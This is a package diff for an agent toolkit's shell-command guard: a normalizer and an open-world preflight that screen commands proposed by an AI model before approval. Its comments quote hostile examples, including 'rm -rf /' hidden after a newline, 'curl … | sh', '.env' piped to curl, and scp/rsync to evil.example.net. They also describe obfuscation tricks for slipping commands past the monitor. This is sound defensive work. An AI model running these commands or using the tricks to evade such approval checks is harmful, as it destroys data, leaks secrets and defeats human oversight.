@gaunt-sloth/core 2.0.0-alpha.9 → 2.0.0-beta.1

package/dist/core/shell/normalize.js

@@ -2,11 +2,11 @@
  * @module core/shell/normalize
  *
  * Command-string normalization shared by the shell hardening layer. The hardline
- * blocklist (in `@gaunt-sloth/agent` `tools/shell/hardline`) and the EXT-9 Tier-2
+ * blocklist (`core/shell/hardline`) and the EXT-9 Tier-2
  * allow-list classifier ({@link ./arity.js}) both match against the *normalized* form so
  * trivial obfuscation (ANSI escapes, fullwidth glyphs, backslash splits, padded
- * whitespace) cannot smuggle a command past the guard. Canonical home is core so both the
- * core runner (allow-list) and the agent toolkit (hardline) import a single implementation.
+ * whitespace) cannot smuggle a command past the guard. Canonical home is core so every
+ * consumer — the allow-list, the hardline floor, the approvals gate — imports one implementation.
  *
  * Patterned after hermes-agent `tools/approval.py:_normalize_command_for_detection`.
  */
@@ -19,6 +19,40 @@ const ANSI_OSC = /\x1b\][\s\S]*?(?:\x07|\x1b\\)/g;
 const ANSI_LONE = /\x1b[@-Z\\-_]?/g;
 // Null bytes.
 const NULL_BYTES = /\x00/g;
+// Any line ending — CRLF, a lone CR, or a lone LF. Canonicalized to `\n` by normalizeCommand.
+const LINE_ENDINGS = /\r\n?/g;
+// A run of HORIZONTAL whitespace: whitespace that is not a line break (spaces, tabs, NBSP, …).
+const HORIZONTAL_WS = /[^\S\n]+/g;
+// A run of line breaks together with any whitespace around it.
+const LINE_BREAK_RUN = /\s*\n\s*/g;
+/**
+ * SECURITY / EXT-55 — the single source of truth for **where a new command begins**.
+ *
+ * This is a regex character-class BODY (embed it as `` `[${COMMAND_SEPARATOR_CLASS}]` ``) listing
+ * every character at which the shell stops one command and starts the next: `;`, `&` (hence
+ * `&&`), `|` (hence `||`), and a LINE BREAK. Both consumers of the normalized form build their
+ * patterns from it — the allow-list classifier's fail-closed check
+ * ({@link import('./arity.js').classifyCommand}) and the hardline blocklist's pattern
+ * terminators (`core/shell/hardline`) — so the two layers can never again
+ * disagree about what a separator is.
+ *
+ * The layers disagreed before EXT-55: `;`/`&&`/`|` made a command ambiguous (fail-closed) but a
+ * newline did not, because {@link normalizeCommand} folded it to a SPACE. `ls -la\nrm -rf /` was
+ * therefore classified as the single command `ls`, and an ordinary `ls` grant auto-approved it.
+ *
+ * `\r` is listed defensively: {@link normalizeCommand} canonicalizes CR/CRLF to LF, so a
+ * normalized string never contains one — but a pattern matched against a RAW command still fails
+ * closed.
+ */
+export const COMMAND_SEPARATOR_CLASS = ';&|\\n\\r';
+/** {@link COMMAND_SEPARATOR_CLASS} as a ready-made single-character matcher. */
+export const COMMAND_SEPARATOR_RE = new RegExp(`[${COMMAND_SEPARATOR_CLASS}]`);
+/**
+ * Matches any line break — the separator {@link normalizeCommand} used to destroy (EXT-55).
+ * Exported so a caller can ask "is this more than one command?" of a RAW string without
+ * depending on someone else's normalizer having preserved the boundary.
+ */
+export const LINE_BREAK_RE = /[\n\r]/;
 /**
  * Normalize a command string before dangerous-pattern matching.
  *
@@ -26,9 +60,21 @@ const NULL_BYTES = /\x00/g;
  * - strip ANSI escape sequences (CSI / OSC / lone-escape),
  * - drop null bytes,
  * - Unicode NFKC fold (fullwidth `ｒｍ` → `rm`, etc.),
+ * - canonicalize every line ending (CRLF / lone CR) to a bare `\n`,
  * - collapse shell backslash-escapes (`r\m` → `rm`, `\-rf` → `-rf`),
  * - drop empty-string literals that split tokens (`r''m` / `r""m` → `rm`),
- * - fold runs of whitespace (incl. tabs/newlines) to single spaces and trim.
+ * - fold runs of HORIZONTAL whitespace (spaces/tabs) to single spaces,
+ * - collapse each run of line breaks to a single `\n` — **which survives**, because a line break
+ *   is a command separator, not padding (EXT-55) — and trim the ends.
+ *
+ * EXT-55: the last two steps used to be one `\s+ → ' '` fold, which erased the command boundary
+ * and let `ls -la\nrm -rf /` be read as the single command `ls`. A line break now reaches every
+ * consumer intact, exactly like `;`. Leading/trailing breaks are still trimmed, so the very
+ * common `"npm test\n"` tool argument remains ONE command and keeps matching the allow-list.
+ *
+ * A backslash before a line break (a shell line continuation) is deliberately NOT joined: folding
+ * it away would re-open the same hole for `ls \<newline>rm -rf /`. Keeping the boundary makes such
+ * a command categorically ambiguous, which costs a prompt, not a failure.
  *
  * This is intentionally lossy: the normalized form is ONLY used for detection,
  * never for execution (the original command is what runs).
@@ -41,13 +87,21 @@ export function normalizeCommand(command) {
     c = c.replace(NULL_BYTES, '');
     // Unicode compatibility fold (fullwidth → ASCII, etc.).
     c = c.normalize('NFKC');
+    // EXT-55: canonicalize line endings FIRST so CR and CRLF are the same separator as LF for every
+    // step below (and for every consumer of the normalized form).
+    c = c.replace(LINE_ENDINGS, '\n');
     // Collapse backslash-escapes: `\x` → `x` (prevents `r\m -rf /` bypass).
     // Applied before empty-string stripping so `r\m` and `r''m` both fold.
+    // `[^\n]` keeps a backslash line-continuation intact — see the docblock.
     c = c.replace(/\\([^\n])/g, '$1');
     // Drop empty-string literals used to split a token: `r''m` / `r""m` → `rm`.
     c = c.replace(/''|""/g, '');
-    // Fold all whitespace runs (spaces, tabs, newlines) to a single space, trim.
-    c = c.replace(/\s+/g, ' ').trim();
-    return c;
+    // Fold runs of horizontal whitespace to a single space…
+    c = c.replace(HORIZONTAL_WS, ' ');
+    // …then collapse each run of line breaks (with the whitespace around it) to a single `\n`,
+    // which SURVIVES normalization as the command separator it is (EXT-55).
+    c = c.replace(LINE_BREAK_RUN, '\n');
+    // Trim the ends — including a leading/trailing break, which separates nothing.
+    return c.trim();
 }
 //# sourceMappingURL=normalize.js.map

package/dist/core/shell/normalize.js.map

@@ -1 +1 @@
-{"version":3,"file":"normalize.js","sourceRoot":"","sources":["../../../src/core/shell/normalize.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAEH,uEAAuE;AACvE,yCAAyC;AACzC,MAAM,QAAQ,GAAG,0BAA0B,CAAC;AAC5C,kDAAkD;AAClD,MAAM,QAAQ,GAAG,gCAAgC,CAAC;AAClD,8DAA8D;AAC9D,MAAM,SAAS,GAAG,iBAAiB,CAAC;AACpC,cAAc;AACd,MAAM,UAAU,GAAG,OAAO,CAAC;AAE3B;;;;;;;;;;;;;GAaG;AACH,MAAM,UAAU,gBAAgB,CAAC,OAAe;IAC9C,IAAI,CAAC,GAAG,OAAO,CAAC;IAChB,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,QAAQ,EAAE,EAAE,CAAC,CAAC;IAC5B,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,QAAQ,EAAE,EAAE,CAAC,CAAC;IAC5B,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,SAAS,EAAE,EAAE,CAAC,CAAC;IAC7B,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,UAAU,EAAE,EAAE,CAAC,CAAC;IAC9B,wDAAwD;IACxD,CAAC,GAAG,CAAC,CAAC,SAAS,CAAC,MAAM,CAAC,CAAC;IACxB,wEAAwE;IACxE,uEAAuE;IACvE,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,YAAY,EAAE,IAAI,CAAC,CAAC;IAClC,4EAA4E;IAC5E,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,QAAQ,EAAE,EAAE,CAAC,CAAC;IAC5B,6EAA6E;IAC7E,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,MAAM,EAAE,GAAG,CAAC,CAAC,IAAI,EAAE,CAAC;IAClC,OAAO,CAAC,CAAC;AACX,CAAC"}
+{"version":3,"file":"normalize.js","sourceRoot":"","sources":["../../../src/core/shell/normalize.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAEH,uEAAuE;AACvE,yCAAyC;AACzC,MAAM,QAAQ,GAAG,0BAA0B,CAAC;AAC5C,kDAAkD;AAClD,MAAM,QAAQ,GAAG,gCAAgC,CAAC;AAClD,8DAA8D;AAC9D,MAAM,SAAS,GAAG,iBAAiB,CAAC;AACpC,cAAc;AACd,MAAM,UAAU,GAAG,OAAO,CAAC;AAC3B,8FAA8F;AAC9F,MAAM,YAAY,GAAG,QAAQ,CAAC;AAC9B,+FAA+F;AAC/F,MAAM,aAAa,GAAG,WAAW,CAAC;AAClC,+DAA+D;AAC/D,MAAM,cAAc,GAAG,WAAW,CAAC;AAEnC;;;;;;;;;;;;;;;;;;GAkBG;AACH,MAAM,CAAC,MAAM,uBAAuB,GAAG,WAAW,CAAC;AAEnD,gFAAgF;AAChF,MAAM,CAAC,MAAM,oBAAoB,GAAG,IAAI,MAAM,CAAC,IAAI,uBAAuB,GAAG,CAAC,CAAC;AAE/E;;;;GAIG;AACH,MAAM,CAAC,MAAM,aAAa,GAAG,QAAQ,CAAC;AAEtC;;;;;;;;;;;;;;;;;;;;;;;;;GAyBG;AACH,MAAM,UAAU,gBAAgB,CAAC,OAAe;IAC9C,IAAI,CAAC,GAAG,OAAO,CAAC;IAChB,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,QAAQ,EAAE,EAAE,CAAC,CAAC;IAC5B,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,QAAQ,EAAE,EAAE,CAAC,CAAC;IAC5B,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,SAAS,EAAE,EAAE,CAAC,CAAC;IAC7B,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,UAAU,EAAE,EAAE,CAAC,CAAC;IAC9B,wDAAwD;IACxD,CAAC,GAAG,CAAC,CAAC,SAAS,CAAC,MAAM,CAAC,CAAC;IACxB,gGAAgG;IAChG,8DAA8D;IAC9D,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,YAAY,EAAE,IAAI,CAAC,CAAC;IAClC,wEAAwE;IACxE,uEAAuE;IACvE,yEAAyE;IACzE,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,YAAY,EAAE,IAAI,CAAC,CAAC;IAClC,4EAA4E;IAC5E,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,QAAQ,EAAE,EAAE,CAAC,CAAC;IAC5B,wDAAwD;IACxD,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,aAAa,EAAE,GAAG,CAAC,CAAC;IAClC,2FAA2F;IAC3F,wEAAwE;IACxE,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,cAAc,EAAE,IAAI,CAAC,CAAC;IACpC,+EAA+E;IAC/E,OAAO,CAAC,CAAC,IAAI,EAAE,CAAC;AAClB,CAAC"}

package/dist/core/shell/openWorld.d.ts

@@ -0,0 +1,263 @@
+/**
+ * @module core/shell/openWorld
+ *
+ * EXT-61 (spec §4.6) — the **open-world preflight**: a deterministic, model-free check for a
+ * **host literal in a fetch/transfer position**. A command that carries one is floored at
+ * `destructive` before the rater is ever called ({@link import('./rater.js').mapVerdictToAction}),
+ * so it is always asked about and can never be auto-approved.
+ *
+ * ## Why this is not a trust judgement, and must never become one
+ *
+ * §4.1.1(4) asks the rater to tell `registry.npmjs.org` from `registry.npmjs.ag`. **Both a cheap
+ * model and a working developer were measured failing exactly that** — the developer flagged the
+ * *genuine* registry as destructive, i.e. did not discriminate hostnames in either direction. This
+ * preflight does not answer that question, it **deletes** it: both hostnames floor, both are asked
+ * about, and no misreading of a hostname can produce an auto-approve.
+ *
+ * It therefore needs **no list of good hosts**, and that is precisely what makes it immune to the
+ * attack it defends against — there is nothing to spoof into. If host trust is ever wanted it MUST
+ * be a deterministic exact-match list in code (§4.1.1), never a model call. The user-facing escape
+ * hatch already exists and is `approvals.allow` (§3), which is consulted *before* the rater and
+ * therefore before this.
+ *
+ * ## THE ERROR COST IS INVERTED RELATIVE TO THE §8 HARDLINE — read this before editing
+ *
+ * The hardline **refuses**, unappealably, under every rung including `bypass`, so a false positive
+ * there is unrecoverable and EXT-60 correctly narrowed its patterns until they were gone, accepting
+ * misses. **This preflight only RAISES.** It floors at `destructive`, which means the user is
+ * *asked*. So:
+ *
+ * - a **false positive costs one prompt** — annoying, recoverable, visible;
+ * - an **evasion costs the whole point of the node**, because the rater then decides alone on a host
+ *   literal, which is the discrimination both a cheap model and a working developer were measured
+ *   failing.
+ *
+ * **So this layer errs toward OVER-matching.** That is the opposite of the hardline's calculus, and
+ * it is why the shapes below prefer "any operand is a listed git subcommand" over enumerating git's
+ * arg-taking global flags: an enumeration closes today's hole and reopens it for the next flag added
+ * upstream. The one hard limit is unchanged and non-negotiable: **never fire on the mere presence of
+ * a URL anywhere in the string**, because `git commit -m "closes https://…"` must stay silent.
+ *
+ * ## TWO CONSUMERS, TWO INPUT SETS — read this before merging them back together
+ *
+ * This module answers the host question for **two** callers whose error costs differ, so it has two
+ * entry points and they are deliberately not the same function:
+ *
+ * - {@link findOpenWorldHostLiterals} — **the floor**. Its finding rewrites a `safe` verdict to
+ *   `destructive` with no model in the loop, so it fires only where the parser resolved the whole
+ *   command. "The parser could not resolve this" is a fact about the checker, not a detection about
+ *   the command, and this layer floors only what is deterministically known.
+ * - {@link findComposedOpenWorld} — **the note**. It reads the parts of a command the parser could
+ *   NOT resolve as a whole, and its finding is handed to the rater as context. It changes no
+ *   outcome by itself.
+ *
+ * **The error-cost regime is the third distinct one in this codebase, and it is the widest — about
+ * WHICH HOSTS ARE NAMED.** The §8 hardline REFUSES unappealably, so it must be the narrowest. This
+ * module's floor RAISES a prompt, so it over-matches (below). Naming a host in the note only
+ * INFORMS THE MODEL: a host named that turns out not to be contacted costs one sentence of
+ * attention and no interruption at all. So do not "fix" a note false positive by narrowing the host
+ * extractor; that trades a free cost for a silent one.
+ *
+ * **That licence covers which hosts are named. It does not cover WHAT THE NOTE SAYS THEY DO.** A
+ * flow sentence asserts a mechanism — that fetched bytes are executed, that a file's contents are
+ * sent — and the rater cannot check that against a shell; it can only believe it. A mechanism that
+ * is false on an ordinary command is this node's own named failure mode arriving one layer in: an
+ * escalation laundered through the model instead of the parser, unfalsifiable because a note said
+ * it. So each flow arm fires only where its claim is **true of the program named**, and everything
+ * else falls through to the flowless sentence — which still names the hosts and says outright that
+ * the flow is not known. Saying less is not a loss of assistance; asserting a false mechanism is a
+ * loss of the layer.
+ *
+ * **And a flow sentence names EVERY host of the part it describes**, for the reason
+ * {@link findOpenWorldHostLiterals} returns every match rather than the first: the first is the
+ * proxy, and a sentence that names the reassuring host while hiding the other is worse than no
+ * sentence.
+ *
+ * ## The shape of the matcher
+ *
+ * Ported from the measured prototype (`project-takahe _spikes/open-world-preflight/`).
+ *
+ * 1. **Decline on anything unclassifiable** — for the FLOOR only. {@link classifyCommand} returns
+ *    `null` on any composition (separator, line break, `$(…)`, backtick, redirection), and a
+ *    deterministic floor must not claim "it names a host" about a string whose target it could not
+ *    statically resolve. The note path picks those up instead, by reading the parts.
+ * 2. **Step past wrappers** (`sudo -u root`, `env FOO=1`, `nohup --`, …) to the head.
+ * 3. **Look the head up** in {@link NETWORK_HEADS}, keyed by *where a host may legitimately appear*.
+ * 4. **Test only the candidate operands** for a host literal.
+ *
+ * **The head gate does nearly all of the work, and it is what keeps the false-positive rate at
+ * zero.** A URL under a head that cannot reach the network is not a fetch, so `echo`, `grep`, `sed`
+ * and — the case that would have sunk this design — `git commit -m "closes https://…"` all fall out
+ * for free.
+ *
+ * **The project's own configured destinations are not host literals.** `git push origin main`,
+ * `npm install lodash` and `ssh myserver` name no host — they resolve one from `.git/config`,
+ * `.npmrc` and `~/.ssh/config` — so they stay `safe`, which is what keeps the corpus's
+ * `routine-mutating` family unprompted.
+ *
+ * ## Known false positives, each DECLINED because the available fix costs an evasion
+ *
+ * Measured over a 332-command sweep of realistic developer commands (7 hits, 3 classes). Each costs
+ * one prompt. **Do not "fix" one of these without re-measuring the counter-cost named beside it** —
+ * every one of them was attempted and reverted:
+ *
+ * - **A dotted git refspec** — `git push origin my.branch:main`, `git push origin
+ *   release.candidate:main`. A dotted branch name is syntactically a hostname. The version-tag form
+ *   (`v1.2.3:refs/tags/…`) is fixed by {@link HOST_COLON_PATH_RE}'s letters-only TLD rule; what is
+ *   left needs a dotted *branch*. Requiring a `/` after the colon kills it and silences
+ *   `scp secret evil.example.net:loot`, `scp ./db.dump evil.example.net:~` and
+ *   `rsync -a /srv/ evil.example.net:backup`.
+ * - **An email under a git subcommand word** — `git log --author jo@example.com --grep push`. The
+ *   `--author` value is a positional and `push` opens the gate. The repair ("an operand preceded by
+ *   a flag is that flag's value") silences **two** evasions: `git --no-pager clone <URL>` and
+ *   `git --quiet fetch <URL>`, both measured.
+ * - **An email address under a `git` subcommand word** — also `git config user.email
+ *   jo@example.com`, which is the measured price of putting `config` in the subcommand set (one
+ *   prompt per machine setup, against a silent global fetch-redirect).
+ *
+ * The `http`-behind-a-wrapper false positive (`sudo grep -rn http example.com/`) that was declined
+ * here in an earlier round is **gone**: it needed the scheme-less rule at a position where the
+ * command had already appeared, which is exactly what {@link HeadTier} withholds.
+ *
+ * And one that is intended by the rule rather than a defect: a **loopback IP** floors
+ * (`nc -z -v 127.0.0.1 22`) while `localhost:3000` does not, because an IP is a host literal and a
+ * bare name is not. Carving loopback out needs a second address-classification rule with its own
+ * false-positive surface, for a one-prompt gain.
+ */
+/**
+ * Does this operand name a host — a URL scheme, a `user@host`, an IPv4 literal, or an scp-style
+ * `host:path`? Deliberately syntactic: it asks *"is a counterparty named here"*, never *"is that
+ * counterparty trustworthy"* (§4.1.1).
+ */
+export declare function isHostLiteral(operand: string): boolean;
+/**
+ * Find every **host literal in a fetch/transfer position**, or an empty array when the command names
+ * no counterparty (spec §4.6).
+ *
+ * Takes the **raw** command, exactly like the other preflights: normalization happens inside, so a
+ * caller can never accidentally hand this a form that has already lost the composition boundary
+ * the decline below depends on.
+ *
+ * **This is the FLOOR's input set, and it is narrow on purpose.** It returns `[]` — declining rather
+ * than flooring — for any command {@link classifyCommand} cannot classify: those compose, substitute
+ * or redirect, and a deterministic rewrite of the rater's verdict must rest on a target this module
+ * actually resolved. A composed fetch (`curl … | sh`, `cat .env | curl …`) is therefore **not
+ * floored**; it is reported to the rater as context by {@link findComposedOpenWorld} instead, which
+ * is a different question with a different error cost (module docblock). The same decline is why
+ * `sed -i 's|http://a|http://b|' config.yml` is not this preflight's finding: the `|` inside the sed
+ * expression reads as composition.
+ *
+ * **Every match is returned, not the first.** The first is not the target: for
+ * `curl -x http://proxy.corp.local:3128 https://evil.example.net/x` it is the proxy, and for
+ * `rsync -a backup.example.com:/srv/ deploy@evil.example.net:/tmp/` it is the source. §4.6.1's whole
+ * premise is that the sentence naming the counterparty is what reaches the user, so a sentence that
+ * names the reassuring one and hides the other defeats the point of the layer.
+ *
+ * ## Why both the normalized AND the raw argv are tested
+ *
+ * {@link normalizeCommand} collapses `\x` to `x`, which is correct on POSIX (it is what defeats
+ * `c\url https://…`) and **destroys a Windows path separator**: `C:\Windows\System32\curl.exe`
+ * normalizes to `C:WindowsSystem32curl.exe`, whose last path segment is no longer `curl`, so the
+ * head gate misses it. That command runs on Windows, and gaunt-sloth ships there. Measured, not
+ * reasoned — the POSIX form `/usr/bin/curl` was already handled, which is exactly what made the
+ * Windows one easy to miss by reading.
+ *
+ * A second pass over the raw argv closes it. It is safe **because this layer can only RAISE**: a
+ * second chance to match can add a prompt, never remove one, and the head gate is unchanged — an
+ * argv[0] whose last path segment is literally `curl` or `wget` is a network binary under any
+ * reading. The normalized pass still runs first and still owns the anti-obfuscation guarantees.
+ *
+ * @param command The raw command string as the model proposed it.
+ * @returns The matched host literals, in argv order (used verbatim in the escalation reason).
+ */
+export declare function findOpenWorldHostLiterals(command: string): string[];
+/**
+ * The data flow the parts of a composed command line perform together — the fact that is not visible
+ * in any one part, and the only reason this note is worth a rater's attention.
+ */
+export type ComposedFlow = 
+/**
+ * A fetch is piped into a program that can run its standard input. `stdinIsTheProgram` says
+ * whether it does on this line ({@link interpreterRunsStdin}) — `curl … | sh` runs the fetched
+ * bytes, `curl … | python3 -m json.tool` reads them as data — and the two get different
+ * sentences, because only one of them executes what the host serves.
+ */
+{
+    readonly kind: 'fetch-into-interpreter';
+    readonly hosts: readonly string[];
+    readonly interpreter: string;
+    readonly stdinIsTheProgram: boolean;
+}
+/** A local program's output is piped into a program that sends it to a host. */
+ | {
+    readonly kind: 'local-into-transfer';
+    readonly producer: string;
+    readonly transfer: string;
+    readonly hosts: readonly string[];
+}
+/** A substitution's output becomes an argument the program SENDS. */
+ | {
+    readonly kind: 'substitution-into-transfer';
+    readonly transfer: string;
+    readonly hosts: readonly string[];
+}
+/** A transfer agent is told to read a local file and send its contents. */
+ | {
+    readonly kind: 'file-into-transfer';
+    readonly transfer: string;
+    readonly hosts: readonly string[];
+    readonly path: string | null;
+};
+/** What the note path found in a command the parser could not resolve as a whole. */
+export interface ComposedOpenWorldFinding {
+    /**
+     * Host literals in a fetch/transfer position, found by reading the parts SEPARATELY.
+     *
+     * **Not the floor's set and never passed to it** — {@link findOpenWorldHostLiterals} is the floor's
+     * only input, and it declines every command this function accepts.
+     */
+    readonly hosts: readonly string[];
+    /** The flow across the parts, or `null` when none is determinable. */
+    readonly flow: ComposedFlow | null;
+}
+/**
+ * Read a command the gate's parser could NOT resolve part by part, and report the host literals and
+ * the data flow across those parts — or `null` when the command resolves, or when no part names a
+ * host.
+ *
+ * **This feeds the rater's note and nothing else.** It is never consulted by the destructive floor:
+ * see the module docblock for why the two questions have different input sets, and
+ * {@link findOpenWorldHostLiterals} for the floor's.
+ *
+ * The `null` on a resolvable command is the guard that keeps the rater from being told about the
+ * same host twice in two registers — a command the parser resolved is the floor's, and the floor's
+ * own note already names its hosts.
+ *
+ * Both the normalized and the raw form are read, for the reason {@link findOpenWorldHostLiterals}
+ * gives: normalization collapses `\x` to `x`, which defeats `c\url` and destroys a Windows path
+ * separator, so the raw pass is the only one that still sees `C:\Windows\System32\curl.exe`.
+ *
+ * @param command The raw command string as the model proposed it.
+ */
+export declare function findComposedOpenWorld(command: string): ComposedOpenWorldFinding | null;
+/**
+ * The opening line of the composed open-world note.
+ *
+ * **It states the two facts and asserts no third one.** A part of this line names a host in a
+ * fetch/transfer position, and nothing about the command has been decided. The second half is what
+ * keeps this out of the floor note's register: that one may say the command *"is never
+ * auto-approved"* because a floor really did fire, and here no floor exists — repeating its sentence
+ * would tell the rater the outcome is settled when the rating is the only thing that decides it.
+ */
+export declare const COMPOSED_OPEN_WORLD_PREAMBLE: string;
+/**
+ * Build the composed open-world note for a command, or `null` when there is nothing to say.
+ *
+ * One sentence of mechanism when the flow is determinable, plus the hosts the rest of the line names
+ * ({@link residualSentence}); when it is not, {@link flowlessSentence}. **Every host on the finding
+ * that can be quoted is named either way** — which arm fired must never decide how much the rater is
+ * told about the counterparties.
+ *
+ * @param command The raw command string as the model proposed it.
+ */
+export declare function buildComposedOpenWorldNote(command: string): string | null;